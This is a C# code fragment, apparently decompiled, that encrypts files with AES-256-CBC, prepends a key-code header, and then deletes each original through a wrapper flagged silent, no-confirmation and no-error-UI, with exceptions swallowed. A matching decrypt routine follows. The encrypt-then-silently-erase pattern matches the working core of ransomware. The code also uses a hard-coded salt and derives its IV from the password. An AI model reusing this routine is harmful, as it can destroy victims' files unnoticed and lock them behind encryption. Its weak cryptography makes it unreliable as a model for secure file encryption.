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public static void AES_Encrypt(string inputFile, string outputFile, byte[] passwordBytes, byte[] keyCode)
        {
            FileStream fileStream = new FileStream(inputFile, FileMode.Open, FileAccess.Read);
            FileStream fileStream2 = new FileStream(outputFile, FileMode.Create, FileAccess.Write);
            foreach (byte value in keyCode)
            {
                fileStream2.WriteByte(value);
            }
            using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
            {
                byte[] salt = new byte[]
                {
                    1,
                    2,
                    3,
                    4,
                    5,
                    6,
                    7,
                    8
                };
                rijndaelManaged.KeySize = 256;
                rijndaelManaged.BlockSize = 128;
                Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passwordBytes, salt, 1000);
                rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
                rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
                rijndaelManaged.Mode = CipherMode.CBC;
                using (CryptoStream cryptoStream = new CryptoStream(fileStream2, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write))
                {
                    byte[] array = new byte[1048576];
                    try
                    {
                        int count;
                        while ((count = fileStream.Read(array, 0, array.Length)) > 0)
                        {
                            cryptoStream.Write(array, 0, count);
                        }
                        cryptoStream.Close();
                        fileStream.Flush();
                        fileStream.Close();
                        fileStream2.Close();
                        Mouse.FileOperationAPIWrapper.DeleteCompletelySilent(inputFile);
                    }
                    catch
                    {
                    }
                }
            }
        }

public static void AES_Decrypt(string inputFile, string outputFile, byte[] passwordBytes, int keyCodeLength)
{
    using (FileStream fileStream = new FileStream(inputFile, FileMode.Open, FileAccess.Read))
    using (FileStream fileStream2 = new FileStream(outputFile, FileMode.Create, FileAccess.Write))
    using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
    {
        fileStream.Position = keyCodeLength;
        
        rijndaelManaged.KeySize = 256;
        rijndaelManaged.BlockSize = 128;
        rijndaelManaged.Mode = CipherMode.CBC;
        byte[] salt = {1, 2, 3, 4, 5, 6, 7, 8};
        Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passwordBytes, salt, 1000);
        rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
        rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
        using (CryptoStream cryptoStream = new CryptoStream(fileStream, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Read))
        {
            cryptoStream.CopyTo(fileStream2, 1048576);
        }
    }
}

public static bool DeleteCompletelySilent(string path)
        {
            return FileOperationAPIWrapper.deleteFile(path, FileOperationAPIWrapper.FileOperationFlags.FOF_SILENT | FileOperationAPIWrapper.FileOperationFlags.FOF_NOCONFIRMATION | FileOperationAPIWrapper.FileOperationFlags.FOF_NOERRORUI);
        }